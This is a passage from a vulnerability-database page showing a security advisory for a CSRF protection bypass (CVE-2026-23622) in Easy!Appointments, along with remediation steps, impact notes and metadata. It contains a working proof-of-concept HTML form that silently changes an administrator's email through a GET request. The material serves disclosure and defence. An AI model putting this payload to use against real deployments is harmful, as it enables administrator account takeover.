\u003cinput type=\"submit\" value=\"Submit request\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nanother example for another endpoint\n\n`csrf_change_admin_email.html`\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/update\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[first_name]\" value=\"test\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[last_name]\" value=\"cve\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[email]\" value=\"test1@cve.com\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[mobile_number]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[phone_number]\" value=\"0101900\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[address]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[city]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[state]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[zip_code]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[notes]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[language]\" value=\"english\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][username]\" value=\"testn\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"default\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[id]\" value=\"1\"\u003e\n  \u003cinput type=\"submit\" value=\"Submit request\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Suggested remediation (recommended)\n\nProvide two practical remediation paths mmediate and long-term:\n\n**Immediate (urgent, low-effort):** Enforce CSRF checks for all  methods  and do not skip validation for non-POST. Minimal core fix:\n\nThis closes the common bypass route while keeping read-only GET behavior intact.\n\n**Stricter immediate option (no-bypass):** Require a valid CSRF token for **all** methods (including GET) unless the URI is explicitly whitelisted in `csrf_exclude_uris`. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.\n\n**Long-term (recommended, correct fix):**\n\n1. **Controller hardening:** Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .\n2. **Require re-authentication or confirmation** for critical operations (email/password changes).\n3. **Set cookie flags**: `SameSite`, `Secure`, and `HttpOnly` as appropriate.\n\n\n### Impact\n\n* **Type:** Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.\n* **Who is impacted:** Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use `$_REQUEST` (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.\n* **Consequences:** An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.",
  "id": "GHSA-54v4-4685-vwrj",
  "modified": "2026-01-15T22:34:15Z",
  "published": "2026-01-15T20:11:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23622"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-23622 (GCVE-0-2026-23622)

FKIE_CVE-2026-23622

GHSA-54V4-4685-VWRJ

Summary

Details

PoC

Suggested remediation (recommended)

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour